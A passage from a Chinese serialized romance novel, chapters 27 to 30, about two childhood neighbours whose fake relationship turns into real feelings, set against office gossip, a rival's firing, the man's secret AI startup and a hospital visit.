隋心喜捂着脸,蜷缩着肩膀,声音破碎,“他肯定认出来了。他看我的眼神,和平时一模一样……” 王贤看着哭得快背过气去的隋心喜,再看看晏铮消失的方向,头大如斗。 他低声咒骂了一句,用力把隋心喜往上拽,“这样,我先送你回家?你两先冷静几天,回头我再揪住那小子问清楚。” —————————— 酒吧后巷里,一盏坏掉的路灯明明灭灭,照不亮多少地方。 晏铮背靠着布满涂鸦的砖墙,微微仰着头。 他摘下面具,从烟盒里抽出一支烟,叼在唇间,手指按上火机滚轮。 可试了好几次,火星只是虚弱地溅出又熄灭。他骂了一句,摔了打火机。 酒吧里嘈杂的音乐和人声仿佛还在耳朵里嗡嗡响,但更响的是黑暗降临那一刻,温热的身体扑过来贴紧他,还有唇边那一下短暂的触碰。 认出来了吗?她当时……认出是他了吗? 晏铮脑子里像塞了一团乱麻,理不出个头绪。 要是认出来了,隋心喜还会那么主动? 不可能。他认识她十几年了,她不是这样的人。 可要是没认出来呢?更糟糕。 那她就是随便对一个戴面具的陌生人,跳了场贴身舞,灯光一黑就抱上去亲了。 她平时那么有分寸的一个人,今晚究竟怎么回事? 两种可能在他脑子里打架,哪一种都让他胸口堵得慌。 那个主动的吻,是他盼了多年的东西,他本该高兴疯了的! 可为什么,他现在只觉得嘴里发苦,像咽了口烧过的灰? 他猛地一拳砸在身后的墙上,指关节传来一阵钝痛,心里的火却一点没消下去。 那天晚上,晏铮不知道在冷风里站了多久,手脚都冻得有点发木。 他最后搓了把脸,拖着步子走出后巷,打车回家。 接下来的几天,晏铮发现不对劲了。 隋心喜像是在躲他,疏离感弥漫在了两人之间。 某天早上,他特意比平时早起了半小时,买了早餐回来。 他坐在客厅沙发上假装看书,耳朵竖着听她房间的动静。 七点半,门开了。 隋心喜看到他愣了一下,眼神迅速移开,“那么早啊。” “早”,晏铮放下书,“要不要一起吃早饭?” “哦,公司有个会,我得早点去”,隋心喜语速很快,一边说一边快步走向玄关换鞋,眼睛始终没再看他,“我先走了啊,你慢慢吃。” 话音刚落,人已经拉开门闪了出去。 晏铮一个人对着空荡荡的客厅,那句“我买了豆浆油条”噎在喉咙里。 他看了看茶几上还冒着热气的袋子,全是买的她爱吃的。他默默拿起油条咬了一口,觉得有点硬。 晚上,他特意没加班,早早回了家做饭,准备了她喜欢的红烧肉和老火汤。 七点多的时候,隋心喜回来了。 晏铮立刻去厨房把菜端出来,“回来了?洗手吃饭吧。” 隋心喜飞快地看了他一眼,又垂下眼睫毛,“谢谢啊,我今天已经在外面吃过了。工作忙,忘记和你说一声。我先回房间了。” 晏铮看着那扇闭上的房门,鼻间虽然还有饭菜的热气,但感觉整个屋子冷得就像冰窖。 好不容易到了周末,晏铮醒来就听见客厅有动静。 他出去一看,隋心喜已经穿戴整齐准备出门。 他忍不住开口,“姐,今天还出去?” 隋心喜应了一声,“和王贤约了逛街,可能要晚点回来,你不用等我。” “王贤生日才过,又聚?”晏铮的话音里,已经带上了浓浓的酸意。 “他回国事情多,陪他买点东西”,她没敢看他,拉开门,“走了啊。” 晏铮站在客厅中央,听着那脚步声迅速消失在楼道里。 他走到阳台,那里有个小圆凳是他平时抽烟的地方。 他习惯性地去摸放在架子上的烟灰缸,最后却是在储物柜角落里发现了它。 她把烟灰缸收起来了?是嫌味道难闻?还是单纯不想看到,任何与他习惯相关的痕迹? 晏铮看着烟灰缸,又想起巷子里那根怎么也点不着的烟。 他掏出烟盒倒出一根。这次打火机很争气,一下就着了。 他狠狠吸了一口,辛辣的烟雾涌进肺里。 他看着灰蒙蒙的天,心里残存的火星,被隋心喜这几天彻头彻尾的躲避浇灭了。 第28章 火锅店里人声鼎沸,空气里全是牛油锅底浓烈霸道的香味,混着各种肉菜下锅的滋啦声。 今天是富邦科技项目部的小聚餐,十来个人挤在一张大圆桌边,筷子勺子碰得叮当响。 “隋隋,再下点虾滑,快点快点,锅都滚半天了”,王雪隔着蒸腾的热气,把一盘粉嘟嘟的虾滑推到隋心喜面前。 隋心喜有点走神,脑子里还转着下午没改完的流程图。 王雪用手肘捅了捅她:“喂,跟你说话呢,发什么呆啊。” “啊?你说什么?”隋心喜回过神,赶紧把虾滑拨拉进翻滚的红汤里。 “我说”,王雪凑近了些,压低声音,“你跟你那‘弟弟’,最近咋样啦?上次他来公司楼下,可把咱部门那帮单身汪羡慕坏了。” 隋心喜捏着筷子的手指紧了紧。酒吧那晚之后,她整个人都蔫了,躲着晏铮,两人连话都说不上几句。 公司这茬,她压根忘到九霄云外去了,同事们还都当她真和晏铮是一对呢。 隋心喜觉得脸有点热,可能是火锅烤的,她赶紧喝了口酸梅汤,开始解释:“其实吧,那天的事情不是……” “哎哟!快看快看!”王雪突然眼睛一亮,兴奋地拍着她的胳膊,压根没听清她后面的话。 她激动地指向店门口刚进来的一群人,“说曹操曹操就到啊,那不是你家那位吗,还带着朋友呢!” 隋心喜的心猛地一跳,顺着王雪指的看过去。 晏铮今天穿着件黑色的风衣,衬得人肩宽腿长。他正侧头跟旁边的人说着什么,身后还跟着五六个人,有男有女,都挺年轻,一看就是下班后直接过来的。 隋心喜认得他们,都是常尔科技的员工。大家在同一个写字楼上班,搭电梯时低头不见抬头见。 晏铮一行人在服务员的引导下,在离他们这张大桌的斜对角落了座。 常尔销售部的刘付芙,理所当然地坐在了晏铮旁边。她贴着他的手臂,正仰着脸跟他说笑。 晏铮没什么特别的表情,听着,偶尔点个头,或者简短地回一句。 但刘付芙的存在感实在太强了。她今天穿了件紧身的酒红色针织衫,衬得皮肤很白,大波浪卷发加上复古红唇,就像一团移动的火焰。 王雪在旁边用力地啧了一声,不爽道:“那女的谁啊?隋隋,这你能忍?赶紧过去宣示主权,让她看看谁才是正牌女友!” “算了吧”,隋心喜的声音有点发涩。她低下头,用筷子机械地戳着碗里一块煮老的鸭血,“他们同事聚餐呢,我过去干嘛,再说他也没看见我。” “哎呦我的隋大组长!”王雪恨铁不成钢地瞪着她,简直要跳脚,“你平时工作雷厉风行那股劲儿呢?你看看那女的,人家都骑脸输出了!晏铮弟弟那么帅,又是潜力股,你不看紧点,小心被人撬走了哭都没地方哭去,快去!” “真不用了王雪,太尴尬了,而且……”她咬了咬下唇,酒吧被推开的一幕又清晰起来,心里的酸涩再次翻涌,“人家说不定根本不想看见我。” “你呀!”王雪被她这怂样气笑了,也懒得再劝说。 她干脆利落地放下筷子,一把抓住隋心喜的手腕,“跟我走!” 隋心喜猝不及防,被王雪从座位上拽了起来。 她手忙脚乱地差点带倒自己的杯子,引来同事们好奇的目光。 王雪可不管这些,拖着她就往晏铮那桌走。 “哟,晏铮弟弟,这么巧啊!”王雪嗓门洪亮,带着自来熟的热情。 常尔那桌的喧闹声,瞬间停了下来。 晏铮也抬起头。他看到隋心喜,眼内掠过波动,“跟同事吃饭?” 刘付芙红唇勾起弧度,带着隐隐的敌意,目光在隋心喜和晏铮之间扫了个来回。 王雪仿佛没察觉到尴尬气氛,手上暗暗用力,把隋心喜往晏铮那边推,“正好,我们也在那边聚呢。来来来,隋隋你坐这儿!” 她不由分说地把隋心喜按在了晏铮另一边的位置。那本来是留给上菜通道的,有点挤,但勉强能坐。 刘付芙蹙了一下眉头,随即嘲弄般笑笑:“幸会啊隋组长。怎么,你们也认识我们小晏?” “何止认识”,王雪没给隋心喜开口的机会,抢着大声宣布,“她可是晏铮的女朋友!” 空气仿佛凝固了,常尔的几个人眼神都微妙起来。 隋心喜只觉得一股热血冲上头顶,脸上火辣辣的。 她张了张嘴,想告诉王雪别这样说。可她刚抬头,就对上了刘付芙那双充满挑衅的眼睛。 刘付芙拨了拨头发,轻笑出声:“女朋友?我怎么瞧着不像啊。有些人可别自作多情,拿着别人的客气当男朋友的关心,热脸贴冷屁股啊。” 她斜睨着隋心喜,又说:“退一万步讲,就算是男女朋友又怎么样,这不还没结婚么,法律都不承认。年轻人嘛,变数大着呢,一切皆有可能,你说是吧,小晏?” 这话太毒了,扎在隋心喜最敏感的地方。 她想反驳,但一时竟不知道怎么回嘴。她只能用力捏着大腿内侧,强迫自己不要失态。 王雪也被这毫不留情的嘲讽噎了一下,气得脸都青了。 桌子的气氛降到了冰点,常尔科技的其他人都有些尴尬地移开目光或者假装喝水。 晏铮则始终没有表态,他垂着眼睑在发信息。 就在刘付芙洋洋得意之时,她的手机屏幕亮了。她拿起来看了一眼,不耐烦地打字回复。 几秒钟后,她站起身,带着点遗憾对桌上的人说:“不好意思啊各位,人事部叫我回去一趟,我得马上走了。” 临走前,她再瞥了一眼隋心喜,嘴角勾起胜利者的微笑。 刘付芙的高跟鞋声远了,隋心喜觉得自己也没有再待下去的必要。 她下意识地就要逃离这个让她难堪到极点的地方,可肩膀刚动,晏铮的手臂就从旁边伸过来,将她整个圈在怀里。 下一秒,他微微低头,一个轻柔又温暖的吻,落在了她的额间。 隋心喜整个人石化在原地。 她的心里掀起了滔天巨浪,那一小块皮肤变得滚烫,热度迅速蔓延到她的脸颊、耳朵,乃至全身。 晏铮的手臂紧了紧,把浑身僵硬的隋心喜又往自己怀里带了带。 他的嘴角勾起一个无奈又纵容的笑容,“我女朋友脸皮薄,容易害羞。刚才看见你们在那边,我就知道她肯定不好意思和我打招呼。我们之前说好的,在公司附近尽量低调点,所以我也没过去。” 隋心喜回过神来,配合着“嗯”了一声,声音小得像蚊子叫。 这个回应,在旁人看来,简直就是害羞到极致,并且默认了晏铮所有说辞的铁证。 桌上不知道是谁发出了一声恍然大悟的长叹,随后同事们都纷纷笑了起来, “哎呀,晏铮你这也太护着了,低调得我们都不知道!”一个男同事笑着打趣。 “就是就是,隋组长也太害羞了,这有啥不好意思的嘛!”另一个女同事附和道。 还有人对着王雪努努嘴,“看看人家小情侣,多甜蜜啊!” 王雪脸上的不爽早就一扫而空,取而代之的是满满的兴奋和“磕到了”的姨母笑。 —————————— 隋心喜和晏铮一起到家。她换好鞋子就往浴室方向走,“我先去洗个澡,身上感觉有油烟味。” “等一下”,晏铮叫住她。 隋心喜深吸一口气,慢慢转过身,“怎么了?” 晏铮还站在玄关的阴影里,黑暗模糊了他的五官,却让声音里的紧绷感更加清晰,“姐,你是不是讨厌我了?” “没有啊,胡说什么呢!”隋心喜反驳地有点急,反而显得心虚。她懊恼地抿了下唇。 “那这几天,为什么又在躲我?”晏铮往前迈了一步,目光锐利,“别和我说,你喜欢玩猫抓老鼠的游戏。” “真的没有”,隋心喜能感觉到晏铮身上散发出的那种低气压,像暴风雨来临前的闷热。 她扯起了各种理由,唯独眼神飘忽着不敢直视他。 晏铮看着她躲避的姿态,用力咬着唇边的细肉,似乎在极力控制着什么。 沉默在两人之间蔓延,只有墙上挂钟秒针走动的细微声响,敲在紧绷的神经上。 过了好一会儿,晏铮才再次开口,“行,我知道了……就算你没躲我,你今天也看见了,那个刘付芙……还有之前公司里,也有人总是打听我有没有女朋友。这种事挺烦的。” 他观察着她的反应,补充道:“要不,我们继续假扮情侣吧?挡掉那些不必要的桃花,对你对我都挺好。” 晏铮的话,像一盆冷水浇在了隋心喜的头上。 原来,今晚那些若有似无的暧昧,那些让她心跳加速的瞬间,都是可以利用的工具,都是为了解决他的困扰。 这已经足够能解释,为什么他会在派对上推开她了。 或许刘付芙说的没错,所有事情只是她一厢情愿。 那些被晏铮亲吻的甜蜜泡泡破灭了,只剩下酸涩的泡沫。 委屈夹杂着怒火直冲头顶,隋心喜的声音大了起来,“晏铮!你把我当什么了?利用我帮你挡掉那些追求者?你知不知道这很……” 她哽了一下,“自私”一词在舌尖滚了滚,终究没忍心出口。 晏铮完全没想到隋心喜的反应会如此激烈,他看着她通红的眼眶,“我不是那个意思……” 隋心喜努力调整着呼吸,把即将决堤的眼泪压回心底,语气冰冷起来:“晏铮,我再说一遍,我不想再配合你演戏了!” 她说完,立即转过身,一把拧开浴室的门把手。 门被她用力关上,震得门框都作响,紧接着是反锁的声音。 晏铮的心脏像是被那扇门夹了一下,传来一阵尖锐的闷痛。 他只是受不了她躲着自己,想找个借口靠近她啊。 他借着“挡桃花”这个看似合理的由头,维持住“情侣”这个亲近的身份。 他甚至怀着一点点卑微的希望,也许假戏做着做着,就成真了呢? 可现在,他明白了。 她拒绝了他。 不是拒绝假扮情侣这件事,而是拒绝了他这个人。 第29章 隋心喜把包放在工位上,整个人像没骨头一样瘫进椅子里。 昨晚跟晏铮那场莫名其妙的“争吵”,让她一宿没睡踏实。 “哟,隋隋,昨晚战况挺激烈呗?”王雪滑着椅子就凑过来了,“瞧你这蔫的,跟被霜打了似的。晏铮弟弟的体力很可以哇。” 隋心喜揉了揉太阳穴,她一点也不想应付这种玩笑。 现在误会像滚雪球,越滚越大,再不踩刹车,指不定又传出什么离谱的话。 她强撑着坐直了些,语气硬邦邦的:“王雪,什么激烈不激烈。我跟晏铮,根本就不是你们想的那样。” 王雪一脸信你才怪的表情:“大家都知道了。昨天聚餐,搂得那叫一个紧,眼神黏你身上都撕不下来。哎哟喂,齁甜齁甜的。” “假的!”隋心喜声音拔高了点,引得周围几个同事都侧目过来。 她赶紧压低声音,无奈道:“你还记得木万妮来我们楼下那次吗?她当时乱嚷嚷,我俩是为了堵她的嘴,才假装说是情侣的。其实我俩真就是邻居,从小一块长大的姐弟,没别的。” 空气安静了几秒,王雪夸张地倒抽一口凉气,“我的老天爷!我王雪八卦是八卦,可我这双眼睛,看人贼准!你说你俩是假的?打死我都不信!” “晏铮看着你,眼里的光都快溢出来了,那是男人看心爱女人的眼神。还有你,你以为你藏得好?你眼睛里的东西,跟他一模一样!你俩那气场,骗得了谁啊?” 隋心喜被王雪噼里啪啦一通抢白怼得有点懵,反驳道:“我没有……” “没有个屁!”王雪翻了个白眼,动作麻利地掏出手机,手指在屏幕上划拉得飞快,“我就知道你不认账,幸好我有证据!昨天聚餐,我坐你们斜对面,看得真切,我偷偷拍了好几张。” 她终于翻到了照片,把手机屏幕杵到隋心喜眼前,“喏,你自己看看你这个弟弟,是怎么看姐姐的!” 画面里,晏铮侧着头,目光正落在隋心喜的脸上。 他嘴角挂着笑意,眼神专注地像周围的嘈杂都成了背景板。 隋心喜盯着那张照片,瞳孔微微放大,呼吸都忘了。 晏铮看她的眼神,竟然是这样的? 她自己,真的也在用同样的眼神看他吗?她不知道。 王雪得意洋洋,觉得自己简直是福尔摩斯附体,“就这,你跟我说只是邻居姐弟?隋隋,你俩要是假的,我把手机吃了!” 她笑嘻嘻地推了隋心喜一下,“你脸好红啊,醒醒!” 隋心喜回过神来,抓起桌上的水杯,掩饰性地灌了一大口:“我去下洗手间。” 她落荒而逃,脑子里依旧乱乱的,交叉播放着那张照片和两人昨晚的不快。 洗手间的门不知道什么时候被锁住了,上面贴着一张告示: 【紧急通知:本层洗手间管道故障,暂停使用。如需使用,请前往一楼大堂东侧洗手间。带来不便,敬请谅解!】 隋心喜烦躁地理了理头发,只好转身走向电梯间。 行吧,下去走走,正好冷静一下脑子。 一楼洗手间很大,里面静悄悄的,只有她一个人。 她拉开最里面的一个隔间门,刚在马桶上坐下,外面就传来了两个女人叽叽喳喳的说话声。 “哎哟,累死我了,开个早会坐得腰酸背痛。” “可不是嘛,老板要求真多。诶,你听说了没?今天早上的大新闻,关于刘付芙的。” 隋心喜本来没在意。但刘付芙的名字,让她立刻竖起了耳朵。 “你不知道吧?”第一个说话的女声是常尔人事部的肖晓燕。她幸灾乐祸地笑笑,“刘付芙被开了,昨天晚上就定好的事。今天一大早,流程走得飞快,老板亲自来我们部门督办的。” 另一人是技术部门的石垭虞。她满是震惊:“真的假的?刘付芙不是我们公司现在的门面担当吗?老板怎么下得了手,她业绩也没那么差吧?” 肖晓燕嗤笑一声,“那些都没用,关键是她昨晚那张嘴,惹祸了!” “昨晚怎么了,他们不是一群人出去吃饭吗?”石垭虞好奇道:“我看她最近追晏铮追得挺紧的,这事和他有关么?” 肖晓燕给石垭虞竖起了大拇指,“你这直觉对了!刘付芙就是太把自己当回事了,我听说啊,她好死不死地,碰上了晏铮的女朋友。” “啊?”石垭虞想了想,“晏铮女朋友好像也在我们这个楼上班,是富邦科技的吧?” “对啊!刘付芙那个性子你又不是不知道,心高气傲的。她一直觉得晏铮对她还行,估计也看他女朋友像闷葫芦,普通职员一个好欺负,就上去挑衅了。然后啊,饭局都没过半,老板就通过我们人事部把她喊回来了。今天就收拾包袱走人了。” 石垭虞倒吸一口凉气,“她就因为昨天晚上说了几句话?储总也太狠了吧?他平时看着挺随和啊!” 肖晓燕的语气神秘兮兮起来,“你以为真是储总下的死手?他最多算个执行人。” “不然呢?那还能有谁?” “你呀,消息太不灵通了!储总是大老板没错,但你知道,晏铮为什么总能跟着储总出去应酬吗?你以为他只是个能力超强的实习生?” “他不是储总特别看重的实习生吗?能力确实强啊……”石垭虞显然没跟上思路。 肖晓燕笑了笑,“才不呢,晏铮跟我们储老板,是生意伙伴呐!” 隔间里的隋心喜,怀疑自己耳朵出了问题。 晏铮和储嘉骐是合伙人? 这怎么可能? 他才大四啊,他去常尔不是实习吗? 洗手台前的石垭虞也是难以置信,“开什么国际玩笑?常尔是储总的啊,晏铮才多大?” 肖晓燕抛出了更大的炸弹,“他两在外面,还有一家公司,搞人工智能的。好像叫什么……维恒,你听过吗?” 隋心喜瞪大了眼睛,及时捂住嘴巴,才没有让自己惊呼出声。 维恒人工智能,是最近两年才成立的公司。 短短的时间内,它在行业里异军突起,凭借几个创新算法和成功的商业化案例声名大噪,被无数媒体报道,估值像坐火箭一样飙升。 就连富邦科技内部开会,管伟都多次提及维恒。他提醒大家打起十二分精神,因为维恒是个强劲的对手。 隔间外,那两个八卦的女同事似乎补完了妆,又惊叹唏嘘了几句刘付芙的倒霉和晏铮的深藏不露。 伴随着高跟鞋的咔哒声,她们推门出去了,洗手间里又只剩下隋心喜。 她脑子里反反复复只有一个疑问:晏铮创业成功,为何要瞒着自己? —————————— 今天是江市的新技术招商大会,隋心喜和王雪代表富邦科技参加。 展厅里,隋心喜杵在“云端互联”的展台边上,目光穿过涌动的人潮,落在展厅另一头那个穿深灰色西装的身影上。 王雪胳膊肘拐了她一下:“喂,我听人家说,那边跟主办方陈总谈笑风生的,是维恒的幕后大老板。你这弟弟男友才二十二吧,真是人不可貌相!你啊,是不是准备退休做富太太啦?” 隋心喜没有接话,她看到晏铮旁边站了个秘书模样的男人。 那人微微弯腰,双手递过一份文件,晏铮没抬眼,伸手接了。 他还对男人说了句什么,男人立刻很恭敬地点头,快步走向展台后方。 晏铮举手投足间的掌控感,是隋心喜全然陌生的,她一时间难以将他和那个赖在出租屋不肯走的大学生联系在一起。 她叹了口气,对王雪道:“我出去透透气。” “这就走啊?”王雪正看到兴头上,“再待会儿呗,你家晏铮还没看见你呢!” “这里人太多了,闷得不舒服”,隋心喜丢下这句,直直走向展厅侧门。 安全通道的防火门被她推开又关上,外面鼎沸的人声也被隔绝了,空气凉了下来。 隋心喜顾不得形象,坐在楼梯间,双手撑着腮。 为晏铮高兴吗?当然有。 可那股子被蒙在鼓里的酸涩,又像藤蔓一样缠着高兴劲,勒得她喘不过气。 她也说不清楚,自己在他眼里,到底是什么样的存在。 过了一会,一阵急促的脚步声从楼梯上方冲下来。 隋心喜抬起头,就看到了小跑下楼的晏铮。 他的西装外套解开了扣子,额角的碎发有点被汗水打湿了,刚才在展厅里游刃有余的沉稳荡然无存,此刻的眼神就像受了惊的鹿。 他喘着粗气在她面前停下,喊了一声“姐”。 隋心喜站起来,没有说话。 晏铮更慌了,往前跨了一大步。他想去抓她的胳膊,伸到一半又僵在半空。 “姐,你刚才看到了是不是?我不是故意隐瞒你的,最早最早我参加的就是个大学生瞎捣鼓的项目,储嘉骐说可以试着投点钱玩玩。那时候谁能想到真能成,连个水漂都未必打得起来。我没告诉你,是不想让你跟着瞎操心。” 他抹了一把汗,很是着急:“到后来,事情堆起来了,融资、团队、技术落地……我就想拿出点像样的东西来,等你哪天逛商场,突然看到维恒的广告牌……我想给你个惊喜,也想让你为我骄傲一次!我要让你知道,当年那个只会给你添麻烦的小屁孩,他长大了!” 晏铮一口气说完,急促的呼吸也慢慢平复,只剩下抑制不住的细微颤抖。 他垂下眼,盯着自己无所适从的手,像是在等待最后的审判。 隋心喜看着他。看着他额角未干的汗,看着他扯开的领口,看着他眼底那片因为恐惧失去而汹涌的暗流。 她尤记得当年的阴雨天,他抱着骨灰盒被贪婪的亲戚包围时,他的眼里,也曾闪过同样破碎的光。 那股被欺骗的恼火,忽然就被这片潮湿的阴影浇灭了。 她清了清嗓子,开口:“那么大声干什么?楼道里有回音。” 晏铮喉咙发紧,只挤出一个字,“我……” “你急什么,慢慢说”,隋心喜打量着他,“你今天穿这么板正,跑起来不方便吧?当老板了,更得注意形象。” 没有预料中的质问,这话更像是关心。 晏铮有点懵,像个程序处理不了宕机指令的机器人,笨拙地扣好衣服。 隋心喜看着他手忙脚乱的样子,那个在展位上掌控全局的维恒老板形象轰然崩塌,碎片后面露出来的,依旧是那个在她面前会紧张失措的少年。 心里最后一点芥蒂,像阳光下的薄冰,悄然融化干净。 “行了,你回去工作吧”,她牵了牵嘴角,“我明天没有什么事情,可以做饭。如果你也不用加班,早点回家,我们庆祝一下。” 这句话像投入潭里的石子,在晏铮心底激荡开圈圈涟漪。 他喉结重重地滚动了一下,脸上也绽开一个带着傻气的笑容。 第30章 隋心喜围着围裙在厨房里忙得团团转。 锅里蒸着大螃蟹,滋滋冒着热气;水池子里养着活蹦乱跳的虾,正等着下锅白灼;案板上,鱿鱼圈裹好了淀粉,准备过油;旁边还有一大盘炒得油亮的贝壳,香味直往客厅飘。 “晏铮,别工作了,过来尝尝咸淡”,隋心喜探出头喊了一声。今天周末她啥也没做,就捣鼓这一桌子海鲜了。 晏铮本来也没心思工作,眼神总忍不住往厨房瞟。 听到喊声,他立刻扔下鼠标,几步就凑到了厨房门口,“好香啊!” 隋心喜用筷子夹起一小块刚出锅的鱿鱼圈,吹了吹,自然地递到他嘴边,“尝尝,咸了还是淡了?” 晏铮张嘴接了,嚼了两下。 其实就是家常菜的味道,但他觉得特别好,“你都可以开店了。” 隋心喜满意地笑笑,又开始指挥,“去把桌子收拾一下,碗筷摆好,其它菜马上都好了。” 饭桌上很快就满满当当,空气中全是海鲜的鲜味。 隋心喜自己没怎么动筷子,一直给晏铮夹。 “多吃点这个螃蟹,你看这蟹黄,多满!”她掰开一只肥硕的母蟹,挖出里面橙红的蟹黄,堆在晏铮碗里,“快吃快吃,凉了就腥了。” “你自己也吃啊”,晏铮看着碗里堆起来的食物。 “我吃着呢”,隋心喜象征性地夹了个虾,“你天天用脑要多点蛋白质,专门给你补的。” 晏铮感觉自己像个填鸭的容器,隋心喜不停的夹,他就不停的吃。 他其实不算饿,但看着她期待的眼神,拒绝的话根本说不出口。 于是他来者不拒,一边吃一边跟她聊公司的一些事,桌上的气氛很好。 吃到最后,晏铮感觉自己胃里塞得快没缝了。 他看着桌上那堆成山的蟹壳虾壳,放下筷子,“真饱了,吃不下了。” 隋心喜又夹了个扇贝放他碗里,“这个蒜蓉粉丝特别香,最后一口。海鲜不能过夜,不吃了也只能丢掉。” 晏铮有点无奈,但还是拿起来解决了。 吃完他感觉胃里有点沉甸甸的,不太舒服。他没在意,以为是吃太撑了。 隋心喜又给他盛了碗海鲜豆腐汤,“喝点汤顺顺。” 晏铮实在不想拂她好意,端起碗咕咚咕咚喝了大半碗。 可没过多久,肚子里隐约传来一阵拧着的疼。 晏铮蹙了下眉,没吭声,想着可能是岔气了,缓缓就好。 他靠在椅背上,想歇会儿。但是,那疼痛没消停,反而越来越明显。 冷汗开始从他额头渗出来,他使劲按着腹部,想压住绞痛。 “怎么了?”隋心喜看他脸色不对,“撑着了?” “有点……胃疼”,晏铮吸了口凉气,忍着没说疼得厉害。 隋心喜立刻站起来,“我去给你倒杯温水。” 她刚转身进厨房,就听见客厅椅子一声响。 她赶紧跑出来一看,晏铮已经蜷缩在了地上,一手顶着胃,脸色煞白。 隋心喜吓坏了,扑过去扶他,“晏铮,疼得这么厉害?” 晏铮咬着牙,疼得说不出完整话。 “不行不行,得上医院!”隋心喜的心都到嗓子眼了,她费力想把他拽起来,“能走吗?我扶你。” 晏铮试了一下,勉强大半重量压在她身上,每一步都走得眼前发黑。 好不容易到了医院急诊,隋心喜连忙找护士推了辆轮椅过来。 护士看晏铮疼得直冒冷汗,立刻量了下血压心率,优先安排他进诊室。 医生是个中年男人,问了情况:“吃什么了?疼多久了?具体哪里疼?” “吃了很多海鲜,大概一个小时前开始的……就这儿,上面一点……”晏铮指着自己的上腹,声音虚弱。 医生按了按他指的地方,晏铮疼得倒抽一口冷气。 医生一边开单一边说:“急性肠胃炎可能性大,海鲜吃太多,凉性又油腻,刺激的。先去抽血化验,排除下其他问题,再做个腹部B超看看。看你疼成这样,先打一针止痛的。” 护士很快过来给晏铮打了一针。药效没那么快,他的脸色还是很难看。 隋心喜推着他去做检查,自责像滚雪球一样越滚越大。 抽血的时候,她站在旁边,眼泪忍不住掉了下来,“对不起啊,我不该逼你吃那么多的,都怪我……” 晏铮看到她满脸的泪痕,身体的不适忽然就淡了许多。他顿了顿,喘了口气,“是我自己想吃,你做的好吃。” 这句话让隋心喜的愧疚一下冲到顶点,眼泪流得更凶了。 她胡乱地用袖子擦着脸,背过身去说不出话。 检查结果出来,确诊急性肠胃炎。医生开了药,主要是补液和抗菌消炎,让去输液区打点滴。 折腾了快两个小时,晏铮才被推进输液室,挂上两大袋子药水。 止痛针的效果也上来了,肚子里那股要命的绞痛终于缓和下来。 隋心喜坐在他旁边的椅子上,眼睛红红的。她看着他手臂上插着的针头,小声问:“现在好点没?” 晏铮扯了扯嘴角,“好多了,就是有点累。” “嗯,那你睡会,我看着点滴。” 晏铮听话地闭上眼睛,没多久呼吸就变得沉稳绵长,像是睡着了。 输液室里开着空调,温度有点低。隋心喜怕他着凉,把自己的外套盖在了他身上。 时间一点点过去,一袋药水快见底了。 隋心喜按了呼叫铃,可等了好几分钟,也没见护士过来。 她怕回血,直接到外面的护士站找人,“您好,麻烦看看十二号床的晏铮,点滴快打完了。” 一个年轻护士正在写记录,听到隋心喜急切的声音,立刻站起来:“哦,好好,这就去。” 她一边拿新的输液瓶,一边随口问:“里面的是你男朋友吧?瞧给你急的。” 隋心喜一愣。 放在以往,她肯定立即撇清关系,但此刻,她只是笑笑。 护士看她没否认,也没再多问,拿着输液瓶就走。隋心喜默默跟在后面。 换药水的动静让晏铮醒了。他睁开眼,看到隋心喜,“还没结束?” “现在是第二袋,很快了”,隋心喜坐回他旁边的椅子。 晏铮恢复了一点力气,他动了动身体,发现盖在身上的外套,心里一暖。 他看向隋心喜,再度安抚道:“真的不关你事。” 隋心喜吸了吸鼻子,低下头:“看到你疼成那样,吓死我了。” “没事了”,晏铮笑了笑,想让她放松点。 输液室里安静下来,只有药水滴落的声响。 隋心喜抠着椅子边缘,那个在她心里盘旋了好些天的疑问,又出现了—— 她一直都搞不懂为什么晏铮会在酒吧推开她。这已经成了她心里的一根小刺。 她迫切地想要拔掉,于是鼓起勇气开口:“我有件事想问你。” “什么?”晏铮看着她。 她斟酌着语句,决定先来点铺垫,“王贤生日那晚,你去了没有?” 没想到,晏铮脸上原本挂着的温和笑意,瞬间都褪去了。 从他的视角出发,这个问题恰好能说明,隋心喜根本不能确认那晚面具下的人是谁! 他以为是她性格开朗,加上喝了点酒,在派对上玩疯了,所以才会对他这个“陌生人”搂搂抱抱。 他不愿意再继续这个话题,移开目光不再看她,声音也变得硬邦邦,“没去,我不喜欢那种场合。” 隋心喜根本没料到晏铮会给出这个答案。她所有想好的问题,所有想问出他真实想法的冲动,也被冻结了。 她咬了咬唇,勉强发出一个单音:“哦。” 那天晚上,两个人隔着一只手臂的距离,各自陷在自己的情绪里,谁也没有再开口。 —————————— 一周后,隋心喜推开管伟办公室的门。 她走到他办公桌前面站定,“管总,你找我?” 管伟放下手边的工作,指了指她前面的椅子,“来,坐下说。” 隋心喜点点头。她不知道是不是自己的错觉,管伟今天的表情,似乎有点皮笑肉不笑的怪异。 管伟往后靠了靠,两只手交叉放在肚子上,打量着隋心喜,“忙了一上午吧,方案进行得怎么样?” “还行,几个难点基本讨论清楚了,方案方向定下来了”,隋心喜暗暗琢磨着,管伟叫她来,肯定不是为了这事。 果不其然,管伟又寒暄了几句,开始进入正题,“我还想跟你聊聊,关于昨天那个招标结果的。” 隋心喜心里咯噔一下。 昨天的人工智能核心算法模块招标,富邦投入很大,听说结果不太好,但具体细节她不清楚。 她问:“结果怎么样?” 管伟叹了口气,眉头皱着,“我们输了,标被维恒拿走了。” 听到富邦输给维恒,隋心喜心里有点奇怪的感觉。 一方面,她为公司放了那么多心血的项目失败感到难过,毕竟这是她的工作阵地;但另一方面,赢家是晏铮,她又替他高兴。 还没等她消化这种矛盾感,管伟又继续道:“维恒势头猛得很啊,成立才两年,就把我们这种老牌子的方案都打得没脾气。报价、技术指标、落地承诺……方方面面都压我们一头。” “说实话,公司上下都对这个结果很震惊,大家私下里议论得挺多……”管伟顿了顿,终于说出了重点:“特别是大家都知道,维恒的年轻老板,是你男朋友。” 隋心喜的脊背挺直了,她明白管伟想说什么。 她迎上管伟的目光,解释道:“管总,招标方案的核心数据、关键策略,我没有参与最后阶段的封闭讨论,接触不到最核心的信息。而且,我有我的职业操守。” 管伟脸上的肌肉抽搐了一下,很快又摆摆手,“哎,心喜,你想多了,我不是那个意思。我还不了解你吗?你一毕业,就在我这儿跟着干,你是什么样的人品和能力,我心里有数,我百分之一百相信你!” 管伟话锋一转,面露难色,“但是,我相信你没用啊!现在那些风言风语,传得可难听了。说我们这次输得这么彻底,就是因为内部有人,胳膊肘往外拐了。” 隋心喜抿了抿唇,放在腿上的手已经悄悄握成了拳。她感到一种强烈的羞辱和愤怒,就因为她在同事眼中和晏铮是男女朋友的关系,她就要承受这种毫无根据的猜忌和中伤? 